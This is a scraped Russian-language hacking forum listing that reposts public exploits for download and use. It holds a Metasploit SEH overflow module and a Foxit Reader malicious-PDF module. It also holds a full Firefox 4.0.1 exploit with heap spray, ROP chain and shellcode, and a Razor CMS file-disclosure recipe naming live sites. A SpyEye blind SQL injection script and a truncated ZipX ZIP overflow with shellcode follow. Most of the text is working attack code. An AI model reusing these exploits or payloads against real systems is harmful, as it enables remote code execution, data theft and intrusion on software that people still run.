end
return (checksum & 0x0FF)
end

def data_checksum(packet_data)
word_table = ""
i = 0
while i < 256
v4 = 0
v3 = i
j = 8

while j > 0
if ((v4 ^ v3) & 1) == 1
v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF
else
v4 = (v4 >> 1) & 0x0FFFF
end
v3 >>= 1
j = j - 1
end

word_table << [v4].pack("S")
i = i + 1
end
k = 0
checksum = 0
data_bytes = packet_data.unpack("C*")
word_table_words = word_table.unpack("S*")
while k < packet_data.length
position = data_bytes[k] ^ (checksum & 0x0FF)
checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF
k = k + 1
end
return checksum
end

def create_packet(data)
pkt = "\x2f"
pkt << "\x00" # header checksum
pkt << "\x00\x00" # data checksum
pkt << "\x00\x00" # pkt length
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
pkt << data

pkt[4,2] = [pkt.length].pack("n")

data_sum = data_checksum(pkt[4, pkt.length - 4])
pkt[2, 2] = [data_sum].pack("n")

hdr_sum = header_checksum(pkt[0, 20])
pkt[1] = [hdr_sum].pack("C")

return pkt
end

def jam
pkt = create_packet("")

datastore['Jam'].times do
connect
sock.put(pkt)
disconnect
end
end

def exploit
i = 1
while i <= datastore['Attempts'] and not session_created?
print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")
do_exploit
sleep(datastore['Wait'])
i = i + 1
end

if not session_created?
print_error("Exploit didn't work after #{i} attempts")
end
end

def do_exploit
t = framework.threads.spawn("jam", false) { jam }
my_payload = payload.encoded

header_length = 20 # See create_packet() to understand this number
pkt_data = ""
if target.name =~ /Debug/
pkt_data << "a" * (65535 - header_length)
else
pkt_data << "a" * (target['ShellcodeOffset'])
pkt_data << my_payload
pkt_data << "b" * (target['Offset']-target['ShellcodeOffset']-my_payload.length)
pkt_data << generate_seh_record(target.ret)
pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string
pkt_data << "c" * (65535 - pkt_data.length - header_length)
end

pkt = create_packet(pkt_data)

connect
sock.put(pkt)
handler
disconnect
end

end_

Click to expand...

_
Источник: http://1337day.com/exploits/18330_

Mozilla FireFox 12.0
ID: 67686ba3b4103b69df379dde
Thread ID: 22836
Created: 2012-05-22T09:07:03+0000
Last Post: 2012-05-22T09:07:03+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 2K

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'\ /\ \\__ /'__\ 0
0 /\, \ ___ /\/\_\ \ \ \ \ ,/\ /\ \ _ ___ 1
1 /
/\ \ /' _ \ \/\ \/_/_\\_<_ /'___\ \ \/\ \ \ \ \/\\'
\ 0
0 \ \ /\ /\ \ \ \ /\ \ \ /\ \
/\ \ \\ \ \\ \ \ / 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \
\\ \/\ \\ 0
0 /
//
//
/\ \\ /
/ // // // // 1
1 \ \
/ >> Exploit database separated by exploit 0
0 /
/ type (local, remote, DoS, etc.) 1
1 1
0 [ + ] Site : 1337day.com 0
1 [ + ] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Title : Mozilla FireFox 12.0 Memory Corruption (with ROP)

Author : KedAns-Dz

E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com /

@dis9.com)

Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)

Web Site : www.1337day.com | www.inj3ct0rs.com

mY nEw FaCeb0ok : http://fb.me/Inj3ct0rK3d

Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com

platform : Windows

Type : Local

Security Risk : High

Tested on : Windows XP-SP3 (Fr)

| >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |

| > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |

| Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha |

| ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE ***** |

| ------------------------------------------------- < |

./<3 <3 Greetings t0 Palestine <3 <3

Memory Corruption bY KedAns-Dz

<< ThE|End


< I'm VerrY BusSyY :P (x__x) 0xFuFuCkcK 0xShsHiiiT >
--------------------------------------------------
\ ,__,

Fr0m Z0nE 404! < \ (oo)_____
Inj3ct0r LAB © 2012 (__) K3d )\ OWASP Algeria
Dz Offenders & CA | HMD ||---|| * all Dz Hax0r5

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=======================================

Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Caddy-Dz * Mennouchi Islem * Rizky * HMD-Cr3w

+ Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re *

CrosS (www.1337day.com)

Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 *

ZoRLu * anT!-Tr0J4n *

Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian

Cyber Army * xDZx * TM.mOsta

Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-

id.com) * Jago-dz * Over-X

Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic *

L3b-r1Z * r00tw0rm.com

packetstormsecurity.org * metasploit.com * Chivr0sky * OWASP Dz * All

Security and Exploits Webs ..

#===================================================================================================

Click to expand...

Источник:http://1337day.com/exploits/18317

Foxit Reader 3.0 Open Execute Action
ID: 67686ba3b4103b69df379ddf
Thread ID: 22835
Created: 2012-05-22T09:04:57+0000
Last Post: 2012-05-22T09:04:57+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

Framework web site for more information on licensing and terms of use.

http://metasploit.com/framework/

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Discovery
'bannedit' # Metasploit module
],
'Version' => '$Revision: 14069 $',
'References' =>
[
[ 'CVE' , '2009-0837' ],
[ 'OSVDB', '55614' ],
[ 'BID', '34035'],
[ 'URL', 'http://www.coresecurity.com/content/foxit-reader- vulnerabilities']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' => 0x74d34d3f} ], # ebp + offset
],
'DisclosureDate' => 'Mar 09 2009',
'DefaultTarget' => 0))

register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)

end

def exploit
pdf = make_pdf
file_create(pdf)
handler
end

def make_pdf
action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
action << make_nops(321 - 5) # make_nops(21)
action << payload.encoded
action << "\xe9\xe8\xfb\xff\xff" # Jmp back to the NOPs before the payload
action << "\xeb\xf9" + make_nops(2) # Jmp to the near jump
action << [target.ret].pack('V')
action << "\x92" * 16
action << ")>>/NewWindow true>>"

pdf = "%PDF-1.4\n"
pdf << "1 0 obj\n"
pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
pdf << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n"
pdf << "endobj\n"
pdf << "4 0 obj\n"
pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
pdf << "endobj\n"
pdf << "7 0 obj\n"
pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
pdf << "endobj\n"
pdf << "9 0 obj\n"
pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
pdf << "endobj\n"
pdf << "16 0 obj\n"
pdf << action
pdf << "endobj\n"
pdf << "17 0 obj\n"
pdf << "<</PV 16 0 R >>\n"
pdf << "endobj\n"
pdf << "trailer\n"
pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
pdf << "startxref\n"
pdf << "0000\n"
pdf << "%%EOF\n"
pdf
end
end

1337day.com [2012-05-21]

Click to expand...

Источник:http://1337day.com/exploits/18319

CVE-2012-0003
ID: 67686ba3b4103b69df379de0
Thread ID: 22537
Created: 2012-01-27T12:54:26+0000
Last Post: 2012-03-13T08:56:50+0000
Author: GOONER
Prefix: Remote
Replies: 3 Views: 2K

Наткнулся на CVE-2012-0003

Spoiler: 5

:zns5: сэмпл
pass:damagelab

Razor CMS v1.2
ID: 67686ba3b4103b69df379de1
Thread ID: 22591
Created: 2012-02-12T12:18:06+0000
Last Post: 2012-03-03T13:15:18+0000
Author: DarckSol
Prefix: Web
Replies: 1 Views: 2K

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'\ /\ \\__ /'__\ 0
0 /\, \ ___ /\/\_\ \ \ \ \ ,/\ /\ \ _ ___ 1
1 /
/\ \ /' _ \ \/\ \/_/_\\_<_ /'___\ \ \/\ \ \ \ \/\\'
\ 0
0 \ \ /\ /\ \ \ \ /\ \ \ /\ \
/\ \ \\ \ \\ \ \ / 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \
\\ \/\ \\ 0
0 /
//
//
/\ \\ /
/ // // // // 1
1 \ \
/ >> Exploit database separated by exploit 0
0 /
/ type (local, remote, DoS, etc.) 1
1 1
0 [ + ] Site : 1337day.com 0
1 [ + ] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Title : Razor CMS v1.2 <= Multiple File Disclosure Vulnerabilites

Author : KedAns-Dz

E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com

Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)

Web Site : www.1337day.com * www.dis9.com * exploit-id.com

Facebook : http://facebook.com/KedAns

platform : php

Type : Remote File Disclosure

Tested on : Windows XP-SP3 Fr

| >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |

| > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |

| Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |

| KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |

| ------------------------------------------------- < |

Download :

http://www.razorcms.co.uk/archive/core/raz...v1_2_STABLE.zip

+> in File ( public_config.php ) Line 55/74 =>

PHP Code : """""""""""""""""""""""""""""""""""""

$RAZOR = array();

// location of logs directory //
$RAZOR['logs_dir'] = 'datastore/razor_temp_logs/';

// location of failed login log //
$RAZOR['failed_logs'] = 'razor_failed_login.txt';

// location of datastore directory //
$RAZOR['datastore_dir'] = 'datastore/';

// location of system data file razor_data.txt //
$RAZOR['system_file'] = 'datastore/razor_data.txt';

// location of pages dir for stored content //
$RAZOR['pages_dir'] = 'datastore/pages/';

// location of media dir for stored content //
$RAZOR['backup_dir'] = 'datastore/backup/';

"""""""""""""""""""""""""""""""""""""""""""""""| End Cod

#========[ Exploit & p0c ]======================>

[1] Backup's Disclosure :

http://[site]/[path]/datastore/backup/

+> Fix : Creat .html File in /backup/ folder

[2] Data Disclosure :

http://[site]/[path]/datastore/razor_data.txt

-> Fix : no fix !

[3] Login failed Temp LOG Disclosure :

http://[site]/[path]/datastore/razor_temp_logs/razor_failed_login.txt

-> Fix : no fix !

Demo's :

http://www.ultimateenjoy.com/datastore/razor_data.txt
[http://www.mis- limited.com/test/wesmee/dat.../razor_data.txt](http://www.mis- limited.com/test/wesmee/datastore/razor_data.txt)
[http://www.mis- limited.com/test/datastore/...ailed_login.txt](http://www.mis- limited.com/test/datastore/razor_temp_logs/razor_failed_login.txt)

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================

Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky

Ariestiyansyah * Islam Caddy ..

+ Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re *

CrosS (www.1337day.com)

Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 *

ZoRLu * anT!-Tr0J4n *

Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian

Cyber Army * Sec4ever

Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-

id.com) * Jago-dz * Over-X

Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS *

www.packetstormsecurity.org * TreX

www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security

and Exploits Webs ..

#================================================================================================

1337day.com [2012-02-12]

Click to expand...

Mozilla Firefox Firefox 4.0.1 Array.reduceRight()
ID: 67686ba3b4103b69df379de2
Thread ID: 22636
Created: 2012-02-29T08:25:26+0000
Last Post: 2012-02-29T08:25:26+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Code:Copy to clipboard

<!--
Full Exploit Code: http://www.exploit-db.com/sploits/18531.zip
PoC exploit for CVE-2011-2371
tested against Firefox 4.0.1
md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4
change constants to switch between w7/xp.
see my blog if you want to know how this works.
http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/
p_k
twitter.com/pa_kt
gdtr.wordpress.com
-->
<html>
    <script src="jspack.js"></script>
    <script>
    function hex(x){
        var y = x.toString(16);
        y = "0x"+y;
        return y;
    }
    function itoa(i)
    {
       return String.fromCharCode(i);
    }
    // n - length in bytes (1 unicode char = 2 bytes)
    function puff(x, n){
        while(x.length < n) x += x;
        return x.substring(0,n);
    }
      function arr2hex(tab){
          var s = "";
          for(var i in tab){
              x = tab[i];
              x = x.toString(16);
              if(x.length<2)
                x = "0"+x;
              s += x + " ";
            }
            return s;
        }
        function arr2ascii(tab){
            var s = ""
            for(var i in tab){
                x = tab[i];
                if(0x20 <= x && x<=0x7f){
                    y = itoa(x);
                }
                else{
                    y = ".";
                }
                s += y;
            }
            return s;
        }
    function xchg(d,i,j){
        t = d[i];
        d[i] = d[j];
        d[j] = t;
    }
    function bswap(d){
        xchg(d, 0, 3);
        xchg(d, 1, 2);
    }
    function nicer(tab){
          jsp = new JSPack();
          res = [];
          for(var i in tab){
              x = tab[i];
              t = jsp.Pack("d", [x]);
              d1 = t.slice(0, 4);
              d2 = t.slice(4, 8);
              bswap(d1);
              bswap(d2);
              t = [d1,d2];
              res = res.concat(t);
          }
          res = res.reverse();
          return res;
    }
    function dw2int(d){
        n = 0;
        for(var i=0;i<4;i++){
            n *= 256;
            n += d[3-i];
        }
        return n;
    }
      function convert(tab){
          o = s = v = "";
          for(var i in tab){
              d = tab[i];
              s += arr2hex(d);
              v += arr2ascii(d);
              if((parseInt(i)+1)%4==0){
                  o += s + " | " + v + "\n";
                  s = "";
                  v = "";
              }
          }
          return o;
      }
    function check_pair(d1, d2){
        var n1 = dw2int(d1);
        var n2 = dw2int(d2);
        if(n2-n1 == 0x304)
            return true;
        return false;
    }
    function find_mozjs_base(tab){
        var n1 = 0;
        for(var i=0;i<tab.length-4;i++){
            d1 = tab[i];
            d2 = tab[i+1];
            if(check_pair(d1,d2)){
                n1 = dw2int(d1);
                n1 = n1 - 0x3cac;   //n1 = mozjs .data
                n1 = n1 - 0x1B2000; //n1 = mozjs base
                break;
            }
        }
        return n1;
    }
    function d2u(dword){
        var uni = String.fromCharCode(dword & 0xFFFF);
        uni += String.fromCharCode(dword>>16);
        return uni;
    }
    function odd_d2u(d1, d2){
        uni = String.fromCharCode((d1&0xFF)<<8);
        uni += String.fromCharCode((d1>>8)&0xFFFF);
        uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T
        uni += String.fromCharCode((d2>>8)&0xFFFF);
        uni += String.fromCharCode(d2>>24);
        return uni;
    }
    // generated with mona.py
    function rop_chain(mozjs_base){
        var arr = [
            mozjs_base + 0x000c96e6,    // POP EAX // RETN [mozjs.dll]
            mozjs_base + 0x0015d054,    // ptr to &VirtualAlloc() [IAT mozjs.dll]
            mozjs_base + 0x00028510,    // MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll]
            mozjs_base + 0x0014293c,    // XCHG EAX,ESI // RETN [mozjs.dll]
            mozjs_base + 0x0014d00d,    // POP EBP // RETN [mozjs.dll]
            mozjs_base + 0x000d7ee2,    // & push esp //  ret 04 [mozjs.dll]
            mozjs_base + 0x000be327,    // POP EBX // RETN [mozjs.dll]
            0x00000001,                     // 0x00000001-> ebx
            mozjs_base + 0x0004f422,    // POP EDX // RETN [mozjs.dll]
            0x00001000,                     // 0x00001000-> edx
            mozjs_base + 0x000b1421,    // POP ECX // RETN [mozjs.dll]
            0x00000040,                     // 0x00000040-> ecx
            mozjs_base + 0x000062e3,    // POP EDI // RETN [mozjs.dll]
            mozjs_base + 0x0000f005,    // RETN (ROP NOP) [mozjs.dll]
            mozjs_base + 0x000652f0,    // POP EAX // RETN [mozjs.dll]
            0x90909090,                     // nop
            mozjs_base + 0x001372bd     // PUSHAD // RETN [mozjs.dll]
            ];
        return arr;
    }
    function tab2uni(tab){
        var uni = ""
        for(var i=0;i<tab.length;i++){
            uni += d2u(tab[i]);
        }
        return uni;
    }
    function spray(mozjs_base, h1_s, hsize) {
        function rva2va(addr) { return addr+mozjs_base; }
        function rva2d(addr) { return d2u(rva2va(addr)); }
        var align = 0x100000;
        var tab_offset = 0x1000;
        var TYPE_OBJECT = "%u0007%uffff";
        var pivot_rva = 0x1a21c;        // 0x68e7a21c :  # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN
        var mov_esp_ebp_rva = 0x1a222;  // mov esp, ebp # pop ebp # ret
        var h2_s = h1_s + hsize;
        var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align
        //mov     eax,dword ptr [edi+64h]  ;edi=[h2_ptr+4], later: call eax
        var h2_ptr = h2_middle + tab_offset;
        var off1 = h2_ptr;
        var off2 = h2_ptr-0x64;
        var v1 = d2u(off1);
        var h1_fill = unescape(v1+TYPE_OBJECT);
        var foo = puff(h1_fill, 0x4000);
        var h1_spray = foo.substring(0,(0x4000/2)-2);
        var pivot_va = rva2va(pivot_rva);
        pivot_va = d2u(pivot_va);
        off2 = d2u(off2);
        var new_ebp = h2_ptr+18;
        var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);
        var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);
        var rop = tab2uni(rop_chain(mozjs_base));
        //shellcode by skylined
        var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";
        var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);
        x = puff(x, 0x4000);
        var h2_spray = x.substring(0,(0x4000/2)-2);
        var spray_tab = new Array();
        for (i=0;i<0x1000;i++){
            spray_tab[i] = h1_spray+"1";
            spray_tab[i].indexOf("zzz");
        }
        for (i=0x1000;i<0x2000;i++){
            spray_tab[i] = h2_spray+"2";
            spray_tab[i].indexOf("zzz");
        }
    }
    var exploit_func =
        function bleh(prev, current, index, array) {
            //boom = typeof current;
            current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9
            //throw "up";
        }
    function trigger(func, arr_len){
        xyz.length = arr_len;
        try{
          xyz.reduceRight(func,1,2,3);
        }
        catch(e){ }
    }
    function leak(){
        var CHUNK_SIZE = 0x1000;
        var leak_arr_len = 0xffffffff;
        mem = [];
        count = 0;
        var leak_func =
            function bleh(prev, current, index, array) {
                if(typeof current == "number"){
                    mem.push(current);
                }
                count += 1;
                if(count>=CHUNK_SIZE/8){
                    throw "lol";
                }
        }
        function dump_mem(leak_f, arr_len){
            var dump = document.getElementById("dump");
            var mozjs_base = 0;
            for(var i=0;;i++){
                mem = [];
                count = 0;
                trigger(leak_f, arr_len);
                mem = nicer(mem);
                s = convert(mem);
                dump.innerHTML = s;
                //alert("leaked bytes: "+hex(mem.length*4));
                mozjs_base = find_mozjs_base(mem);
                //alert("mozjs base: "+hex(mozjs_base));
                if(mozjs_base != 0){
                  break;
                }
            }
            return mozjs_base;
        }
        var base = dump_mem(leak_func, leak_arr_len);
        return base;
    }
    function go(){
        //var arr_ptr = 0x05000000; //(xp sp3)
        //var h1_s = 0x05b00000;
        //var h2_e = 0x0fb00000;
        var arr_ptr = 0x0b000000; //w7
        var h1_s = 0x0b500000;
        var h2_e = 0x16e00000;
        var size = h2_e-h1_s;
        var hsize = size/2;
        var h1_middle = h1_s+hsize/2;
        var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;
        var mozjs_base = leak();
        spray(mozjs_base, h1_s, hsize);
        alert("ready");
        while(1){
            trigger(exploit_func, exp_arr_len);
            exp_arr_len -= 0x500;
        }
    }
    // globals
    var xyz = new Array();
    </script>
    <body>
        <input type="button" value="go" onclick="go()" />
        <pre id="dump">
        </pre>
    </body>
 </html>

1337day.com [2012-02-27]

Click to expand...

MS11-083 DoS/PoC exploit
ID: 67686ba3b4103b69df379de5
Thread ID: 22394
Created: 2011-11-12T04:38:10+0000
Last Post: 2011-11-29T09:25:19+0000
Author: Exmanoize
Prefix: DoS
Replies: 1 Views: 2K

В винде НТ 6.0 и выше(т.е. виста,семерка, 2008) существует уязвимость MS11-083.
Атака на закрытый порт , теоретически с возможностью удаленного запуска кода на уязвимой машине.
Пока в паблике недавно появился РоС на дос.
http://pastebin.com/HWjgRGiU

SpyEye r0073r xpl01t
ID: 67686ba3b4103b69df379de6
Thread ID: 22223
Created: 2011-09-25T14:11:47+0000
Last Post: 2011-10-20T15:19:33+0000
Author: DarckSol
Prefix: Web
Replies: 2 Views: 2K

Code:Copy to clipboard

#!/usr/bin/python

from httplib import HTTPConnection
from time import time
from sys import exit, argv, stdout
import urllib
print """
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0             __      __   __                   __                           1
1           /'__`\  /'__`\/\ \__              /'__`\                         0
0     _ __ /\ \/\ \/\ \/\ \ \ ,_\  __  __  __/\ \/\ \  _ __    ___ ___       1
1    /\`'__\ \ \ \ \ \ \ \ \ \ \/ /\ \/\ \/\ \ \ \ \ \/\`'__\/' __` __`\     0
0    \ \ \/ \ \ \_\ \ \ \_\ \ \ \_\ \ \_/ \_/ \ \ \_\ \ \ \/ /\ \/\ \/\ \    1
1     \ \_\  \ \____/\ \____/\ \__\\ \___x___/'\ \____/\ \_\ \ \_\ \_\ \_\   0
0      \/_/   \/___/  \/___/  \/__/ \/__//__/   \/___/  \/_/  \/_/\/_/\/_/   1
1                                                                            0 
0                                                                            1
1                                       >> SpyEye r0073r xpl01t              0
0                                       >> author : Sanjar Satsura           1
1                                       >> sanjar[at]xakep[dot]ru            0
0                                       >> Public v.0.1                      1
1                                       >> )c(  2011                         0
0                                                                            1
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-0

  Example:                                                        
  Spyeye_r0073r <host>/dir/"version()"                         

"""
 
if len(argv)<=3: exit()
else:   print "[+]Started pwn..."
 
host = argv[1]
path = argv[2]
sql = argv[3]
port = 80
 

hash = ""
full = []
 
for k in range(48,122): 
    full.append(k)
full.append(0)
# full value [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 0]
# This is the charset to try

delay = 0.5
a=1 
while a <= 32:
    for i in full:
        j = 0
        if i == 0:  exit('\n[+]Finished\n')
        #
        start = time()
        # start time for the delay
        conn = HTTPConnection(host,port)
        #values = { "id" : "1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((4.0.5),a,1)),0)="K"),BENCHMARK(9000000,SHA1(1)),1));-- /*" }
        values = { "id" : "1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((" + sql + ")," + str(j) + ",1)),0)=" + str(i) + "),BENCHMARK(9000000,SHA1(1)),1));-- /*" }
        data = urllib.urlencode(values)
        print data
        conn.request("GET", path + "frm_cards_edit.php?" + data )
        response = conn.getresponse()
        read = response.read()     
        print read
         
        if response.status == 404: exit('[+]404')
        #404
        now = time()
        if now - start > delay:
        #has come true then the character is valid
            stdout.write(chr(i))
            stdout.flush()
            hash += chr(i)
            a += 1
            break;
        else: j += 1
        print "i vale %s, y J vale %s" %(i,j)
        
        
        
# w4tch u. h4ck u. fuck u. 1337day
# www.r00tw0rm.com

Не тестил, не проверял, о работоспособности ничего сказать не могу.

ZipX for Windows v1.71 ZIP
ID: 67686ba3b4103b69df379de7
Thread ID: 22166
Created: 2011-09-06T22:36:00+0000
Last Post: 2011-09-06T22:36:00+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

Code:Copy to clipboard

#!/usr/bin/perl
#
#[+]Exploit Title: ZipX for Windows v1.71 ZIP File Buffer Overflow Exploit
#[+]Date: 05\09\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://download.cnet.com/ZipX/3000-2250_4-10518937.html
#[+]Version: v1.71
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#
#Reproduce:
#Open the zip file, after click in "Encrypt", type you password and click in "Ok" BOOM!!!
#See the calc.exe
#
 
 
use strict;
use warnings;
 
my $filename = "Exploit.zip";
 
print "\n\n\t\tZipX for Windows v1.71 ZIP File Buffer Overflow Exploit\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail louredo_\@hotmail.com\n";
print "\t\tSite http://net-fuzzer.blogspot.com/\n\n";
sleep(1);
 
print "\t\t[+]Creating ZIP File...\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";
 
my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";
 
my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
 
my $shellcode =
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUK" .
"VPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMM" .
"PV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7Z" . # Shellcode WinExec "calc.exe"
